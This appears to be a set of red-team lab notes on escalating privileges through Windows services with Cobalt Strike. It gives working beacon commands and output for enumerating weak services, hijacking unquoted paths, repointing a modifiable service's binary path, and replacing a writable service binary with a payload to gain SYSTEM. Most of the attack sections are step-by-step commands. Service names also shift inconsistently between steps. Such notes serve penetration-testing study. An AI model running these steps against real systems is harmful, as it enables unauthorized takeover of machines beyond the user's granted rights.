Windows Services

Introduction

Windows Services typically start up automatically when a computer boots. Services typically are used to start and manage Windows core functionality (Updates, Firewall, Defender, and more). Third part software also may utilize services to manage when and how they run.

Once a service has been updated, it's likely it will have to be restarted for the changes to take place.

Enumerating Services

We can use services.msc or the sc command line tool.

sc - command line

C:\>sc query

SERVICE_NAME: Appinfo
DISPLAY_NAME: Application Information
        TYPE               : 30  WIN32
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Get-Service - Powershell

PS C:\> Get-Service | fl

Name                : ALG
DisplayName         : Application Layer Gateway Service
Status              : Stopped
DependentServices   : {}
ServicesDependedOn  : {}
CanPauseAndContinue : False
CanShutdown         : False
CanStop             : False
ServiceType         : Win32OwnProcess

Unquoted Service Paths

Unqouted service paths can lead to privilege escalation as Windows attempts to read a path, and may interpret the space as a terminator. We of course need write permissions in the directory we're attempting to write.

  1. C:\Program.exe

  2. C:\Program Files\Vulnerable.exe

  3. C:\Program Files\Vulnerable Services\Service.exe

Enumerating Services - Cobalt Strike

wmic

beacon> run wmic service get name, pathname

Name                    PathName
ALG                     C:\Windows\System32\alg.exe
AppVClient              C:\Windows\system32\AppVClient.exe
Sense                   "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"
[...snip...]
VulnService1            C:\Program Files\Vulnerable Services\Service 1.exe

Powershell

beacon> powershell Get-Acl -Path "C:\Program Files\Vulnerable Services" | fl

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files\Vulnerable Services
Owner  : BUILTIN\Administrators
Group  : DEV\Domain Users
Access : BUILTIN\Users Allow  CreateFiles, Synchronize
BUILTIN\Users Allow  ReadAndExecute, Synchronize
....

SharpUp - Unquoted Services

We can use SharpUp and Cobalt Strike execute-assembly to enumerate services .

beacon> execute-assembly C:\Tools\SharpUp.exe audit UnquotedServicePath

=== SharpUp: Running Privilegrm e Escalation Checks ===

=== Services with Unquoted Paths ===
	Service 'VulnService1' (StartMode: Automatic) has executable 'C:\Program Files\Vulnerable Services\Service 1.exe', but 'C:\Program Files\Vulnerable Services\Service' is modifable.

SharpUp - Weak Service Permissions

beacon> execute-assembly C:\Tools\SharpUp.exe audit ModifiableServices

=== Modifiable Services ===

	Service 'VulnService' (State: Running, StartMode: Auto)

Privilege Escalation - Unquoted Services

Payloads to abuse services must be specific "service binaries", because they need to interact with the Service Control Manager. When using the "Generate All Payloads" option, these have svc in the filename. Note: It's recommended to use tcp beacons bound to localhost for privilege escalation.

Navigate to Vulnerable Path

beacon> cd C:\Program Files\Vulnerable Services
beacon> ls

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 5kb      fil     02/23/2021 15:04:13   Service 1.exe
 5kb      fil     02/23/2021 15:04:13   Service 2.exe
 5kb      fil     02/23/2021 15:04:13   Service 3.exe

Upload Payload

beacon> upload C:\Payloads\tcp-local_x64.svc.exe
beacon> mv tcp-local_x64.svc.exe Service.exe

Restart Service

We'll have to stop and start the service.

beacon> run sc stop VulnService
beacon> run sc start VulnService

beacon> connect localhost 4444

Weak Service Permissions

Services may be modifiable by users or groups that will allow us to change it's configuration.

Enumerating Service Permissions

We can find modifiable services with SharpUp and a Get-Service Powershell script.

SharpUp - Find Modifiable Services

beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices

=== Modifiable Services ===

	Service 'VulnService' (State: Running, StartMode: Auto)

PowerShell - Get permissions of modifiable service

beacon> powershell-import C:\Tools\Get-ServiceAcl.ps1
beacon> powershell Get-ServiceAcl -Name VulnService | select -expand Access

ServiceRights     : ChangeConfig, Start, Stop
AccessControlType : AccessAllowed
IdentityReference : NT AUTHORITY\Authenticated Users
IsInherited       : False
InheritanceFlags  : None
PropagationFlags  : None

Change Service Binary Path

We can exploit this by changing the binary path of the modifiable service to a location that stores our payload.

Get Current Service Binary Path

beacon> run sc qc VulnService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VulnService2
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Vulnerable Services\Service 2.exe"
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : VulnService
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem

Upload Binary Payload

beacon> mkdir C:\Temp
beacon> cd C:\Temp
beacon> upload C:\Payloads\tcp-local_x64.svc.exe

Configure & Run Service

beacon> run sc config VulnService binPath= C:\Temp\tcp-local_x64.svc.exe
[SC] ChangeServiceConfig SUCCESS

Validate the Service has been updated

beacon> run sc qc VulnService

SERVICE_NAME: Vuln-Service-2
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Temp\tcp-local_x64.svc.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : VulnService
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem

Restart Service

We'll have to stop and start the service.

beacon> run sc stop VulnService2
beacon> run sc start VulnService2

beacon> connect localhost 4444

Restore Changes

When we've completed the engagement, we'll want to restore the service to it's initial configuration.

beacon> run sc config VulnService binPath= \""C:\Program Files\Vulnerable Services\Service 2.exe"\"
[SC] ChangeServiceConfig SUCCESS

Note: The additional set of quotes (") is necessary to ensure the path remains completely quoted.

Weak Service Binary Permissions

Simarly to above, instead of the service having weak permissions, the actual binary that the service runs may have weak permissions.

Enumerate Binary Permissions

beacon> powershell Get-Acl -Path "C:\Program Files\Vulnerable Services\Service 3.exe" | fl

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files\Vulnerable Services\Service 3.exe
Owner  : BUILTIN\Administrators
Group  : DEV\Domain Users
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  ReadAndExecute, Synchronize

Exploit Vulnerability

Download Service

We can download the service binary for more details.

beacon> download Service 3.exe
[*] started download of C:\Program Files\Vuln Services\Service 3.exe (5120 bytes)
[*] download of Service 3.exe is complete

Upload Payload

Now it's time tp upload our payload. We'll rename the payload to the name of the binary used in the service.

PS C:\Attacker\Payloads> copy "tcp-local_x64.svc.exe" "Service 3.exe"
beacon> upload C:\Payloads\Service 3.exe
[-] could not upload file: 32 - ERROR_SHARING_VIOLATION

Note: The error ERROR_SHARING_VIOLATION means the file is already running. We'll need to stop the service.

beacon> run sc stop VulnService3
beacon> upload C:\Payloads\Service 3.exe
beacon> ls
[*] Listing: C:\Program Files\Vuln Services\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 5kb      fil     02/23/2021 15:04:13   Service 1.exe
 5kb      fil     02/23/2021 15:04:13   Service 2.exe
 290kb    fil     03/03/2021 11:38:24   Service 3.exe

beacon> run sc start VulnService3
beacon> connect localhost 4444
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